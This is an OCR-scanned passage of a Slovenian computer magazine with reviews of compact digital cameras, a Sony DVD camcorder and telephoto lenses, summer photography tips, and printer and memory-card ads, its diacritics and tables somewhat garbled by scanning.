Objektiv (mm) 38-114 mm bajonet Pentax AF 36-432 mm 38-380 mm 36-432 mm 36-126 mm

Razpon ¢asa 45-1/2000 s 305-1/4000s + B 155-1/3200 s 45-1/1000 s 305s-1/1000's

Obcutljivost I1SO 64-800 200-3200 80-800 64-800 80-1000

Zaslonka 13,3-4,0 - f2,7-3,5 f3,9-4,4 0z. 4,8 f2,8-3,7 f2,7-5,3

Pomnilni$ka kartica SD/MMC Card SD/MMC Card SD/MMC Card SD/MMC Card Memory Stick Duo SD/MMC Card

Vmesnik USB USB USB USB USB USB

Masa 160 g 605 g 510 ¢ 195¢ 490 g 200 g

Baterije Liion 4 x AR 4 x AA Liion 2 x AA Liion
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Canon Powershot S3 IS

V poplavi novih fotoaparatov z
12x spremenljivo gorii¢nico
se je znagel tudi Canon z no-
vim modelom. Pretresljivih
novosti pri zunanjosti ni,
saj je ohisje prakti¢no ena-
ko, le da je tokrat odeto v
&mo barvo. Zaradi mo¢no
odebeljenega desnega dela
se drfi odli¢no, tudi vedja
roka brez te¥av najde dober
oprijem. Vrtljiv LCD-za-
slon je dodatna prednost, ki
je zelo priro¢na pri fotografi-
ranju, predvsem pri pti¢ji ali
%abji perspektivi. S3 IS ima vse
potrebne funkcije, ki zadovoljijo tako
zaletnike kot resnejse uporabnike. Video
zna zajeti v lo€ljivosti 640 x 480 pik pri 30
posnetkih na sekundo. Se snovalci morda bo-
jijo pose&i v video svet z lo¢ljivostjo 720 x 576
(lotljivost PAL) pik ali je vmes drug razlog? Vse-
kakor $koda, kajti ta fotoaparat lahko uspesno
opravlja obe funkciji, tako zajem slik kot videa.
Manjka mu le mehkejsi zaletek spreminjanja go-
ri¥¢nice, a to je Ze video podrocje. Kakovost slike
je zelo dobra, preseneti nizek Sum pri najvisji ob-
Cutljivosti. Korak naprej je sicer storjen, ravno
pravi, da konkurenca ne uide predalec.

Kodak Easyshare V610

Dva objektiva v enem fotoaparatu,
a tokrat oba s spremenljivo goris¢nico.
Kodaku je uspelo narediti v tem trenut-
ku najmanjsi fotoaparat, ki pokriva 10x
razpon goriS¢nice. Zakaj nismo zapisali,
da ima 10x razpon gori§¢nice? Preprosto,
prvi objektiv pokriva kot od 38 do 114
mm, drugi pa od 130 do 380 mm. Praznina
med obema niti ni pomembna, a vseeno je.

Nikon
Coolpix S6
EEEEEEEEEN

Fujifilm
Finepix F30 TZ1
ENEEEEEEEN

novi digitalni fotoaparati

Vse to je skrito
v majhnem ohisju, ob-
jektiva sta vedno varno skrita
znotraj fotoaparata. V610 ima
sicer vrsto moznosti, a predvsem je

namenjen nezahtevnim uporabnikom. Na voljo
je namre¢ kopica scenskih nastavitev, drugih,
polavtomatskih ni na voljo. Pri kakovosti slike
bi si Zeleli 3e kaj veg, a je $e vedno zadovoljiva za
vetino potreb. Ce bo Kodak sledil svojemu tren-
du, nas bo v prihodnosti morda ¢akal fotoaparat
s tremi objektivi; Siroki kot, kot ga ima model
V5170, je vsekakor zanimiv, marsikomu

Panasonic

morda bolj kot ozki kot teleob-

jektivov. Za piko na i bi lahko

Grafo, d.0.0. Image&Information, d.0.0. | PC Hand. d.o.o. V610 imel vdelan umirjevalnik
www.nikonimaging.com | www.fujifilm.com WWW.panasonic.com slike, a morda nas tudi to ¢aka v
114.990 SIT 89.990 SIT 89.225 SIT naslednjem modelu.
480 376 372
odli¢no izdelano ohiSje  visoka obCutljivost velikost, moznosti Sony Cybershot H2
: S— = _ Podobno kot smo ¥e zapisali za
slika, moznosti le 3.3<vspremenlj|va malce mehka slika Canonov S3 IS, lahko re¢emo za
goristnica ta fotoaparat. H2 je sicer doZivel
manjSe spremembe zunanjosti, a
2816 x 2112 2848 x 2136 2560 x 1920 tisto glavno ostaja, dober opri-
oM, 1/2,5" 6M 117 5M, 1/2,5" jem in mo¥nost rokovanja le z
eno roko. Na objektivu zdaj pise
35-105 mm 36-108 mm 35-350 mm Carl Zeiss namesto Sony in v
- 155-1/2000s 85-1/2000's notranjosti je 6-milijonsko tipa-
100-3200 80-400, 800, lo z ob&utljivostjo do ISO 1000.
1600 Hi mode Fotoaparat se ponasa Se z eno
f3,0-5,4 f2,8-5,0 f2,8-4,2 uporabno lastnostjo, poganjata
SD/MMC Card xD Card SD / MMC Card ga namrel le dve AA-bateriji,
USB UsB UsB kljub temu pa zdr¥i lepo $tevilo
170g 185¢ 2628 posnetkov. Najve¢ negativnih
Li ion Li ion Lioon kritik si zasluzi elektronsko iska-

StQlF

MICRONICS

Matriéni POS tiskalnik SP 212
— kuhinjski tiskalnik

2,5 vrstici na sekundo,
76 mm Sirina izpisa,
original + 2 kopiji

Termalni tiskalnik TSP 600,

2 noZem in napajalnikom

Histrost izpisa 100 mm na sekundo, moZnost
izpisa barkode,

V &mi ali svetli barvi, Sirina izpisa 80 ali 58
Paralelni serijski, USE ali ethemet vmesnik za
mreZno povezavo

Matricni tiskalnik SP 500

Z noZem

POS, fiscalni tiskalnik, Kiosk izvedba, mozi
pritrditve na steno

7,6 vrstic na

sekundo, Sirina

izpisa 76 ali 58 mm

Original + 2 kopiji
Laundry ribbon za

kemiéne Eistilnice ,

opcija navijalec kopije ratuna,
V &mi ali svetii barvi

Termalni tiskalnik TSP 700,
z noZem in napajalnikom
Hitrost izpisa 180 mm na sekundo, PC 437,
852, 1250, ASCII,
MoZnost tiskanja dekdaraci], &rine kode,
Brezpladen CD za Auto Logo Funkcijo
Paralelni seirjski, USB, ethernet vimesnik za
mreZno povezavo
Zastitni pokrov, $irina izpisa 58,
80 ali 82 mm,Dva izhoda za papir = T

NOVO NOVO NOVO !

Termailni tiskalnik
TSP 143 U, z noZzem

Hitrost izpisa 120 mm na sekundo
Sirina izpisa 58 ali 80 mm

Servisiranje POS tiskalnikov, potrogni
material in ostala POS oprema

SLOGATEAM d.o.o.
SERVIS IN PRODAJA

Blatnica 10, 1236 Trzin

Tel.: 01/ 566 25 20, faks: 01/ 566 25 14
e-mail: info@sloga-tim.si, www: sloga-tim.si
www.starmicronicseurope.com
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novi digitalni fotoaparati

lo, ki je zelo majhno in je dokaj tetko gledati nanj.
Mo#nosti, ki jih ima za fotografiranje, so uporabne
tako za zacetnike kot za resne uporabnike. Kar bi
lahko izboljsali, je dostopnost nekaterih nastavi-
tev, ki so dostopne le prek menija. Kakovost slike
je dobra, eprav je najvigja obcutljivost uporabna
bolj za silo kot za resno rabo. Kljub temu lahko
naredimo spodobne fotografije velikosti 15 x 10
cm, kar je tudi glavni namen. H2 je odli¢en na-
slednik H1 in za svojo ceno ponuja veliko. Ce pa
Yelite Se vijo lo¢ljivost in &mno barvo ohigja, je
treba poseti po H5.

Nikon Coolpix P4

Nikon se stvari loteva po svoje, a zato ni&
slabse od drugih. Nasprotno, marsikdaj pokaze
Se kaj veg, kar mu je pri P4 vsekakor uspelo.
Dokaj majhno ohisje daje zelo trden ob&utek in
se lepo dr#i v roki. Vrtljiv gumb za nastavitev
glavnih programov na vrhu je dobra resitev,
saj zadaj zaradi velikega zaslona ni ve¢ veliko
prostora. Objektiv se ponasa s trikratno spre-
menljivo gori§¢nico in umirjevalnikom slike.
Za fotografiranje ponuja P4 kar nekaj razli¢nih
moznosti, poleg popolnega samodejnega na-
¢ina so tu $e scenske nastavitve in priroriteta
zaslonke. Ena zanimivej$ih Nikonovih funkcij
je Best Shot Selector (BSS), ki iz niza vet fo-
tografij izbere najboljso. Slednje je 3e zlasti za-
nimivo za zahtevnejSe uporabnike, saj omogoca
vet kreativne svobode. Uporaba fotoaparata je
enostavna in hitro se seznanimo z njegovimi
moznostmi. Ostrenje je za kompaktne fotoapa-
rate dokaj hitro, podobno velja tudi za proZenje.
Kakovost slike je dobra, tudi $um je dobro nad-
zorovan pri vi§jih obcutljivostih. P4 je vseka-
kor zanimiv fotoaparat zaradi vrste moZnosti, ki

bodo zadovoljile tako zacetnike kot zahtevnejse
uporabnike. Temu dodajmo $e wi-fi povezavo,
ki vam omogoca takojSen prenos podatkov v
osebni ratunalnik. Zanimivo za poslovne ali
druge prireditve, e Zelite slike takoj prikazovati
ali jih natisniti.

Nikon Coolpix S6

Da je oblikovanje pomembno tudi pri
digitalnih fotoaparatih, je odkril Ze mar-
sikateri proizvajalec. Tudi Nikon plava
v teh vodah, zadnji iz te serije je S6.
Crno-srebrna barva $e dodatno poudar-
ja elegantno obliko ohi§ja, ki je na rahlo

odebeljeno na levi strani, ne pa

na desni, kot smo navajeni. Na zadnji strani
kraljujeta velik LCD-zaslon in vrtljiv smerni
gumb, ki zelo dobro opravlja svojo funkcijo.
Malo manj smo bili navduseni nad gumbom
za spreminjanje goris¢nice, ki bi lahko bil
malce vedji, s ¢imer bi bolje opravljal svo-
jo nalogo. Mo¥nosti za fotografiranje je kar
nekaj, a so to predvsem scenske nastavitve.
Tako moramo za pod/nadosvetlitev bsrka-
ti po meniju, eprav bi se naSel prostor na
vrtljivem koles¢ku. S6 se ponaga e z eno za-
nimivo moZnostjo — brezZi¢no povezavo, ki je
namenjena tiskanju fotografij. Ker meri pred-
vsem na poslovno uporabo, ga lahko uporabi-
mo tudi kot diktafon. S6 je posebne?, ki ga bo
marsikdo izbral predvsem zaradi oblike, in ne
toliko zaradi fotografskih mo?nosti, a v&asih je
tudi prestiz pomemben.

Fujifilm Finepix F30

Odlotitev Fujifilma, da se bo posvetil izdelavi
tipal na podlagi lastnega znanja kaZe rezultate na
dolgi rok. Tisto, o ¢emur drugi le sanjajo oziroma
imajo v zrcalnorefleksnih fotoaparatih, je njim
uspelo spraviti v kompaktneza. Govorimo o viso-
ki obcutljivosti tipala, novinec se namre¢ pona$a
s kar ISO 3200! Drugace povedano, fotografirate
lahko v zelo slabih svetlobnih razmerah in $e ved-
no ne boste potrebovali bliskavice. Pri tem je treba
pripomniti, da algoritmi za odpravljanje Suma Ze
motno pustijo svoje sledi, a fotografijo imamo in
Se uporabna je. Vse to je skrito v majhnem kovin-
skem ohiSju, ki je zelo dobro zasnovano. Pomemb-
ni gumbi in moZnosti so hitro dosegljive, fotoapa-
rat lahko v celoti upravljamo le z eno roko. Ima
kar nekaj programskih avtomatik, poleg scenskih
nacinov 3e prioriteto zaslonke in ¢asa. Zahtev-
nejsi uporabniki bodo to zelo cenili. Ima tudi zelo
uporabno samodejno nastavitev ob&utljivosti, saj

lahko izbiramo med ISO 100 do 400 oziroma od
ISO 100 do 1600. Kakovost slike je zelo dobra in
Sum se prakti¢no opazi Sele pri ISO 800. Pri tem
le v vednost: pri vecini drugih kompaktnih foto-
aparatov je to najvisja vrednost, kjer je Sum Ze zelo
lepo viden. Ze omenjena najvisja ob&utljivost pod
100 % povecavo bolj spominja na pointilisti¢no
sliko, a detajli $e vedno ostajajo in s tem uporab-
nost posnetka. Fujifilmu je uspelo narediti odli¢en
fotoaparat, ki ponuja nekaj ve¢ kot konkurenca.
Ali bodo to spoznali e uporabniki, pa je e druga
zgodba.

Panasonic TZ1
Biti najmanjsi ni vedno enostavno, zato si proiz-
vajalci pomagajo s kategorijami, a tudi tu v¢asih na-

stopijo te¥ave. Tokrat se za

ta naslov bojujeta dva — zgoraj opisani Kodak V610
in Panasonic TZ1. Po merah zmaga prvi, a ima dva
objektiva in nekaj milimetrov vmes zmanjka. Pana-
sonicu vseeno ostane naslov najmanjsi v kategoriji
z 10x spremenljivo gori§¢nico in vdelanim umir-
jevalnikom. Volk sit, koza cela. Kljub majhnemu
ohigju je to narejeno zelo ergonomsko, saj je desni
del posteno odebeljen in omogo¢a dobro dr¥anje.
Snovalci so se pri zasnovi objektiva uporabili trik
z zrcalcem in ga vedji del skrili v ohigje, tako da se
deloma iztegne 3ele pri najvedji povecavi. Dobra
resitev, ki ima tudi slabo lastnost — malenkost veé-
jo mehkobo posnetkov. Marsikomu to niti ni tako
pomembno, a vseeno, ohigje je odeto v temnosivo
barvo, ki veliko manj privlaci poglede kot srebrna.
Gumbov ni veliko in vsi so dosegljivi z eno roko.
Kar bo na zacetku najbolj zmotilo zahtevnejse upo-
rabnike, je pomanjkanje naprednih mo#nosti. TZ1
ima namret poleg popolne avtomatike na voljo
le scenske nastavitve, a tudi s tem se da preZiveti.
Uporaba je enostavna, ostrenje pa hitro. Glede ka-
kovosti slike smo nekaj Y omenili, a ta problem je
do neke mere regljiv z dodatnim ostrenjem. Pana-
sonicu je uspelo narediti odli¢en kompaktni foto-
aparat, ki ga brez tefav vzamete na pot in vam ne
bo zasedal veliko prostora. W
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Handycam Sony DCR-DVD404E

Video DVD-ji po tekoc¢em traku

Kot pove Ze ime, gre za Sonyjev kamkorder, ki uporablja za zapis
DVD-medije, dodamo pa naj Se, da je opremljen z le¢ami Carl Zeiss.

PiSe: Matjaz Mrak
matjaz.mrak@mojmikrosi

andycam, ki po svoji obliki zelo lepo
»pade« v nafo desnico, ima osnovne
gumbe (vklop in preklop med snema-
njem in fotografiranjem, start/stop,
foto in zum) lepo prilagojene med palcem in sre-
dincem. Vstavljanje medija (DVD) po nekaj po-
skusih ni ve¢ nerodno. Za tiste, ki jim ni do raz-
iskovanja menija, so pri Sonyju poskrbeli za na¢in
snemanja Easy. To snemanje pomeni resni¢no le
easy, saj meni Setup (dostop prek zaslona na dotik)
ponuja le osnovne funkcije. Za druge, ki bi hoteli
ved, pa ponuja zaslon na dotik vstop v meni, ki na
prvi pogled deluje zapleteno, a se ga da zelo hitro
obvladati. Vse funkcije so narejene tako, da res-
ni¢no ne potrebujes veliko ¢asa, da jih usvojis.
Poleg %e znanih funkcij/nastavitev pa 404E po-
nuja funkcije, ki so me zelo presenetile: Spot Fo-
cus, kjer z dotikom zaslona dolo¢ate totko ostrine
(lahko se igrate z preostritvami), ali pa Spot Meter,
kjer z dotikom dolo&ate totko v kadru, kamera pa
hitro in nemoteno od&ita vrednost svetlobe. Torej,
kamera ponuja nekaj, kar z malce vaje omogoca

STORE YOUR WORLD IN OURS'™

ULTRA Il

Serija ULTRA Il
Hitrosti prenosa do 10MB/s
Garancija 10 let

od 512MB do 8GB

SD Ultra Il Plus
od 512MBE do 1GB

SaniskZ -

MemoRry STick PRO Duo

AGIC GATE

410, "

CompactFlash®

lepo mero kreativnosti. Prehodi
med funkcijami so teko¢i in na-
stavljeni tako, da se lahko kadar-
koli vrnemo na zacetek. Zmotilo
pa me je, da ne more§¥ istotasno
uporabljati ved funkcij. Tako si
omejen le na ro¢no zaslonko ali
spot focus. Sem pa preprican, da
se da z malce iznajdljivosti plavati
med funkcijami.

Znano je, da LCD- zasloni »la-

Zejo«, kar zadeva svetlost. Pri tem r
T3

zaslonu sem bil presenecen nad 3RS

izenaCenostjo slike med snema-

njem in pozneje pregledom na TV-ju. Ker Ham-
dycam uporablja male DVD-je (1,4 GB) ponuja
kamera ve¢ na¢inov snemanja (LP, SP in HQ),
kar pa vpliva na »dolfino« diska (od priblizno 20
minut pri HQ do slabe ure pri LP), pozna pa se
seveda tudi pri kakovosti slike. Tako bi lahko LP
primerjal kar z VHS-kakovostjo, zato priporotam
nacina SP in HQ. Preklapljanje med fotoapara-
tom in kamero je hitro in enostavno, sprememba
na zaslonu pa dovolj otitna, da vemo, kdaj foto-
grafiramo in kdaj snemamo. Presenetljiv je kratek

reakcijski ¢as med pritiskom gumba za snemanje
in dejanskim snemanjem. Kamera zabele?i zvok v
nacinu 5.1, kar je lahko motece pri snemanju pri-
reditev, saj zvok zavzame preved prostora.

Vseeno kamera ponuja veliko in, kar mi zdi po-
membno, je prijazna do uporabnika. Kakovost je
zadostna domaco uporabo. Ker pa je v paketu tudi
programska oprema za obdelovanje posnetkov, so
lahko kon¢ni izdelki zavidanja vredni. Pomislek
imam le okrog DVD-ja kot vira arhiviranja.

|

Kartice za digitalne kamere

in spominski USB kljucki

LOw |
““Titrae

i

Sandisk 2

od 1GE do 2GB

EXTREME I11

Serija EXTREME 1l

Garancija do 10 let

10ce 4 LT
s SanDisk 2
m ] n 1 1.0cs
Sa mg2

SaDisk 2

Cruzer Titanium
512MB - 2GB

Hitrosti prenosa do 20MB/s

TN U Cruzer Micro
M3 2semB.20B
" smart

Cruzer Crossfire
512MB - 1GB

Cruzer Profile
512MB - 1GB
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novi fotografski objektivi

4 H\Y =& u
Se blizje, prosim
Teleobjektivi so za marsikaterega fotografa veliko zanimivejsi kot

Sirokokotniki. Razlog je preprost: objekt fotografiranja laze izlocimo iz
okolice oziroma fotografiramo brez vednosti fotografiranca.

PiSe: Alan Orli¢ BelSak
alan.orlic@mojmikro.si

azlogov za teleobjektiv se najde Se
malo morje, zelo pomembno podro-
&je je na primer fotografiranje Zivali.
Predvsem v divjini, a tudi v Zivalskem
vrtu slednje ne vidijo rade &loveka blizu sebe in
se hitro obrnejo stran. Tokrat smo pogledali tri
modele, ki imajo goris¢nico daljso od 300 mm,
najdalji se pona$a s 500 mm. V zrcalnorefleks-
nih fotoaparatih z manj$im tipalom, kot je po-
vrsina 35 mm filma, se goris¢nica e dodatno
podalj§a, tako da dobimo %e zelo spodobnih
800 mm. Dodajmo temu e dvakratni telekon-
verter in smo na 1600 mm, kar je %e zelo spod-
oben teleobjektiv. Morda se vam to zdi veliko,
a za fotografiranje plagnih %ivali ali ptic je Se
to premalo. Ljubitelji opazovanja slednjih si
pomagajo s spektivi in kompaktnimi foto-
aparati, kjer dobijo gori$¢nice, primerljive
s 3000 mm ali ve¢ v primerjavi s klasiko, a
v&asih je Se to premalo. Oboji, objektivi z dol-
go goris¢nico in spektivi imajo e eno skupno
totko — ceno. Povpre¢na mese¢na bruto placa

bo ravno dovolj za kaj resnejSega. Zato se spla-

&a razmisliti, koliko boste tak objektiv sploh
potrebovali in zakaj oziroma ali ni ceneje ku-
piti kompakta z 12x spremenljivo gori§¢nico
in 2x predle¢o. Rezultat bo $e vedno dovolj
dober, Se zlasti ¢e bo namenjen le za amater-
sko rabo.

Tokina
80—-400 mm
) f45—-56

nem testu je Ze
zelo v letih, a
se je kljub temu
dobro odrezal.
Je tudi eden naj-
manj$ih  objek-
tivov, ki smo jih
tokrat preizkusili.
Zgrajen je odli¢-
i 1o, saj je vedji del
ohifja  kovinski,
temu primerna je
i tudi teZa. Kar mu
3 manjka, je rockaza
| drfanje, a je zaradi
velikosti snovalci
niso dodali. Motor
za ostrenje je na-
vaden, a kljub temu
dovolj hiter. Dobro
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Tokinin pri-
spevek k tokrat- |8

se je odrezal tudi na opti¢nem
testu, saj so bile fotografije
pri najbolj odprti zaslonki
ostre, a 7al je bila vidna
kromatska aberacija. Za
konec prihranimo tisto
najzanimivej$e, ceno. Ker =
gre pocasi iz proizvodnje,

se ga da dobiti dokaj po- ~——— _
ceni, tudi na nasi strani
Alp. Ce ne sodite med
najzahtevnejSe, je to
vsekakor eden od ob-
jektivov, ki se ga spla-
Ca preizkusiti in razmisliti o

nakupu.

50-500
f45-63 HSM
Sigma se po-
nasa z nekaterimi
posebne?i, med
| katere sodi tudi ta
objektiv. Razpon
z 10x spremenlji-
vo gori§énico je
redkost v zrcalno-
e 1 refleksnem svetu,
a ta ima svojo na-
membnost, pred-
| vsem na reporter-
; “ skem podro&ju.
Uporaben je tudi
za fotografiranje
| narave in Fivali,
Ceprav zaslonka pri

50-500na
443
ApO

$a. Na sreCo imajo
danasnji  digitalni
fotoaparati odli¢en
razpon obcutljivosti
in fotografiranje pri

ISO 800 ni redkost.

Objektiv je na-
rejen zelo trdno
in daje dober ob-
Cutek v rokah.
Za ostrenje rabi
ultrazvoéni  mo-
toréek, ki poskrbi
za hitro delovanje.
Spreminjanje  go-
ris¢nice je nareje-
no na obro¢ in zelo
mehko, celo tako,
da se objektiv sam
raztegne na najdalj-
' 8o goris¢nico, Ce ga
usmerimo proti tlom.
Kakovost slike je zelo
dobra, tako reko¢ na
celotnem  obmogju.
Zaradi dolge goris¢ni-
ce bi mu zelo prav pri-
| %el umirjevalnik slike,
a Ce imate Konicin Mi-
noltin oziroma po novem
Sonyjev zrcalnorefleksni
fotoaparat, to niti ni vec
tako pomembno.

Canon 100-400L
f45-56 L IS

Tokrat nam je uspelo dobiti le en objektiv s
stabilizacijo slike, to je Canonov dolgoprogas
s Stirikratno spremenljivo goris¢nico. Poleg te
posebnosti ima $e eno zanimivost — sistem za
spreminjanje gorii¢nice je narejen tako, da ob-
jektiv porinemo naprej oziroma nazaj. Poseben
obro¢ nam omogod&a, da dolo¢imo nacin pre-
mikanja, mehkejsi ali tr8i. L v imenu pomeni
boljgo zgradbo in kakovostneje lece, kar je pri
digitalnih fotoaparatih $e posebej pomembno.
Za ostrenje podobno kot pri zgoraj opisani Sig-
mi skrbi ultrazvoéni motoréek, ki deluje prak-
ti¢no nesli$no in zelo hitro. Pri objektivu nas
je presenetila $e ena lastnost, najbli¥ja razdalja
ostrenja je stalna in znasa 1,8 metra, tudi pri
400 mm. Objektiv se je odli¢no odrezal, tudi
pri najbolj odprti zaslonki. Umirjevalnik sli-
ke dobro opravlja svoje delo, tako da lahko z
malce truda naredimo posnetek celo pri 1/50
sekunde ali manj. Zmoti le cena, ki je za marsi-
kateri amaterski Zep obcutno previsoka.

9100"‘ ¢
o

Il
(¥

004
CERGTTES

gL

a

Objektiv Canon 100-400 mm LIS | Tokina 80-400 mm Sigma 50-500 mm HSM
Proizvajalec Canon Tokina Sigma
Spletni naslov WWW.Canon.com www.thkphoto.com www.sigmaphoto.com
Posodil Biring, d.o.0. Cumulus, d.0.0. Infocona, d.0.0.
Cena 449.990 SIT 115.000 SIT 319.900 SIT
(1877 EUR) (479 EUR) (1335 EUR)
Goriscnica 100-400 mm 80-400 mm 50-500 mm
Zaslonka f4,5-5,6 f4,5-5,6 4,5-6,3
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Bodi svetloba'

O tem, da je bog fotograf, ni dvoma,
vprasanje je le, kateri fotoaparat
uporablja in ali je Ze zamenjal analogni
model za digitalnega ...

Pise: Alan Orli¢ BelSak

alan.orlic@mojmikrosi

er je poletje, kakrsnokoli Ze pac bo, pred
vrati, je ¢as, da se ob tehniki posvetimo
Se uporabnim nasvetom. Pocitnice so
&as, ko se lahko odlo¢imo za razli¢ne
eksperimente, ki se nam jih med letom ne lju-
bi poceti. Od fotografiranja v zgodnjih jutranjih
urah (na primer, preden leZete k zaslufenemu po-
&itku od no¢nega rajanja) do ¢akanja na pravi
trenutek za dramati¢en son¢ni zahod. Seveda je
moZnosti $e veliko, zato se jim kar posvetimo.

OPREMA

Kaj vse vzeti s seboj, je vedno tefavno vpra-
Sanje. A kot smo %e omenili, je poletje ¢as za
vaje, in temu primerno se lahko tudi opre-
mimo. Za zaletek si poglejmo, kaj spada med
nujno opremo. Verjetno je %e vsakomur jasno,
da sem sodijo polnilnik za baterije in dovolj
zmogljiva pomnilniska kartica oziroma pre-
nosni disk z bralnikom kartic. Z digitalnim
fotoaparatom se slike mno¥ijo izredno hitro in
v enem dnevu na izletu narediti preko 300 po-
snetkov ni nobena umetnost. Cena pomnilni-
$kim karticam vsak dan pada, tako da dobite
2 GB kartico Ze za okoli 15.000 tolarjev. Pri
povpre¢ni velikosti datotek okoli 2 MB je to
dovolj za okoli 1000 posnetkov. Da naredimo
pomnilniski industriji $e ve&jo uslugo, vam pri-
porocamo, da imate namesto ene kartice velike
kapacitete dve manjsi. Za to se najde kar nekaj
razlogov, prvi je e varovanje fotografij. Sicer
se ne zgodi velikokrat, a v&asih lahko pride do
te¥av pri zapisovanju na pomnilniske medije
in slednji postanejo neberljivi oziroma se jim
drasti¢no zmanjsa kapaciteta. Drugi dober raz-
log je opomnik k zmernosti, kajti ko vstavite
drugo kartico, boste vedeli, da se morate malce

Pomnilniske kartice, prenosni diski in
dodatne baterije so del obvezne opreme.

ustaviti s fotografiranjem vse povprek. Ceprav
so cene pomnilniskih kartic zelo padle, je na-
lo¥ba v prenosni disk z bralnikom e vedno
smiselna.

Slednji imajo namre¢ krepko ve&je kapaci-
tete in so glede na razmerje cena/zmogljivost
bistveno cenejsi, tudi do desetkrat. Za daljsa
potovanja vsekakor priporocljivo, ¢e si boste
vmes $e zapekli kak DVD oziroma CD, bodo
vasi posnetki $e varnej§i.V tej Stevilki lahko
preberete tudi ¢lanke o varovanju podatkov
in reSevanju fotografij s pomnilniskih medijev,
zato ga tu ne bomo posebej omenjali. Nasled-
nja v vrsti je baterija, kjer naj vam bo vodilo,
da en komplet ni dovolj. Ceprav so novimi
digitalni fotoaparati sposobni narediti tudi 700
posnetkov z enim polnjenjem, baterija s¢aso-
ma zgublja mo¢, dodatno energijo pa ji jemlje
vdelana bliskavica. Zato je dodaten komplet
ved kot priporodljiv, za dalj$a potovanja, kjer
boste brez elektrike, pa Se kaj ved, o tem preso-
dite sami glede na to, koliko fotografirate. Vse-
kakor vzemite vsaj polnilnik, %e ta bo olajsal
marsikatero teZavo.

Ceprav je poletje predvsem &as lepega vre-
mena, nevihte in plohe niso izklju¢ene. Zato
so prevleke ali podvodna ohigja zelo dobro-
dogel sopotnik, predvsem prve, saj ne zasedajo
veliko prostora. Podvodna ohisja seveda bolje
izkoristimo za podvodno fotografijo, a nam
obenem ¢itijo fotoaparat pred peskom in dru-
gimi nevie¢nostmi, ki jih je na plaZi veliko.
éiééenj e fotoaparata v servisu ni ravno poceni
in utegne v&asih preseci ceno zas¢itnega pokri-
vala ali celo za§¢itnega ohigja. O torbicah smo
v Mojem mikru %e veliko pisali, zato tokrat le
kratka obnovitev. Bolje, da je malce vecja kot
premajhna, saj poleg fotoaparata ponavadi no-

fotografiranje v praksi

Podvodno ohisje je uporabno tudi kot
dodatna zasc¢ita fotoaparata.

simo 3e baterije in pomnilniske kartice, pri zr-
calnorefleksnih pa tudi objektive in izmenljive
bliskavice. Za daljse sprehode je Se priporo¢ljiv
prostor za plastenko ali vetrovko, zato so zani-
mivi predvsem kombinirani nahrbtniki.

Nikar prevec objektivov!

Ce imate zrcalnorefleksni fotoaparat in
veC objektivov, je na$ predlog naslednji:
vzemite ¢im manj objektivov, po moznosti
le dva s stalno goriS¢nico, in poskusite iz
njiju iztisniti najve¢. To vas bo prisililo k
iskanju novih kompozicij, priblizalo sub-
jektu fotografiranja in vam odprlo nove
razseznosti fotografiranja. SliSi se ¢udno,
a zahteva veliko mero kreativnosti in s
tem tudi korak k boljSi fotografiji. Se na-
svet, kateri objektiv: naj bo en Sirokokoten
in drugi rahlo »tele« (primerljiva z 28 do
35 oziroma 85 do 135 mm v klasi¢nem
svetu).
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al
fotografiranje v praksi
FOTOAPARAT

Ceprav so Stevilni kompaktni digitalni foto-
aparati na prvi pogled zelo podobni klasi¢nim
bratom, je med njimi velik razkorak. Klasika
je bila res »pomeri in ustreli«(point and sho-
ot), saj je bil v del procesa obdelave posnetka
do kon&ne faze vkljuéen laborant. Svoj dele?
enostavnejsi rabi je prispeval negativ film, saj
je velikodusno odpuscal napake s pod- oziro-
ma nadosvetlitvijo. Tipalo je po obcutljivosti
veliko podobnejse pozitiv filmu, kjer napake
prakti¢no niso dopustne. To pomeni, da se %e
malce preosvetljen ali podosvetljen motiv hi-
tro opazi, kriti¢ni so predvsem prvi. Razlog ti¢i
v zapisu slike, kjer je vsaka pika zapisana s tre-
mi zlogi, za rdeco, zeleno in modro barvo. Ce
je tocka preosvetljena, fotoaparat zapiSe le Se
najvisje vrednosti in mo?nosti za popravljanje
tako reko¢ nimamo. V podosvetljenih slikah
pa so te vrednosti razli¢ne in nam omogocajo
popravljanje. Kljub vesoljski tehniki, ki je vde-
lana v majhne srebrne $katlice, mora na po-
mo¢ $e vedno priti fotograf, sicer bo fotoaparat
naredil po svoje.

V najvedjo pomo¢ nam bo kratko pojasnilo,
kako deluje svetlomer. Slednji je v ve&ini pri-
merov umerjen na 19 % sivino in na tej podlagi
poizkusa izmeriti svetlobo. V ve&ini primerov to
deluje, a v¢asih odpove. Dober primer je v belo
obletena oseba pred belim zidom, kjer svetlo-
mer izmeri preved svetlobe in bo sliko fotoapa-
rat podosvetlil. Nasproten primer je érna macka
na ¢&rni zofi, kjer bo svetlomer izmeril premalo
svetlobe in fotoaparat bo posnetek preosvetlil.
V takih primerih ponavadi odpove tudi pro-
gramska avtomatika in edina refitev je mo¥nost
pod/nadosvetljevanja. V prvem primeru mora-
mo posnetek nadosvetliti, v drugem podosvetli-
ti. To imajo prakti¢no vsi kolikor toliko spod-
obni fotoaparati, le da jih morate pri nekaterih
iskati v menijih, pri drugih pa je dosegljiva prek
katerega od gumbov na ohisju. Proizvajalci si za
pravilno merjenje svetlobe pomagajo $e z dru-
gimi prijemi, predvsem z razliénim merjenjem.
Najveckrat je v fotoaparatih veétockovno in
centralno merjenje svetlobe. Prvo po vsej po-
vidini naredi ve¢ tock (tudi preko 250), izmeri
svetlobo in iz tega naredi povprecje, drugo je
omejeno na priblizno 10 do 15 % povrsine v
srediS¢u posnetka. Poleg teh dveh sta v uporabi
Se to¢kovno (priblizno 3 % povrsine v dolo¢eni
to¢ki) in merjenje po vsej povrsini. Slednje se
$e najmanj uporablja, zanimivejse je tockovno,
ki nam pride prav pri dolo¢enih motivih.

V zelo veliko pomo¢ za pravilno osvetlitev
nam je histogram; nekateri fotoaparati imajo

Histogram lahko vklopimo v Zivo ali pri
pregledus slike, v obeh primerih pomaga pri
nastavljanju osvetlitve.

Druga posebnost
digitalnih  fotoapa-
ratov je izravnava
beline. Tipalo, umer-
jeno na dnevno
svetlobo, ima dokaj
enakomerno  zasto-
pan celoten spekter barv. V spektru Zarnice
prevladuje predvsem rumena oziroma rdeca
barva (neonke zelena), v vecerni svetlobi mo-
dra. Zaradi tega dobijo fotografije rumen ton,
ki nam niti najmanj ni po volji. S funkcijo
izravnave beline izberemo pravi izvor svetlo-
be in bela bo zopet bela. V prostoru, kjer se
mesa ved virov svetlobe (na primer dnevna
in neonke), je zelo tetko dologiti pravo iz-
ravnavo beline, zato je priporoc¢ljiva funkcija
roéne nastavitve. Potrebujemo le nekaj, za
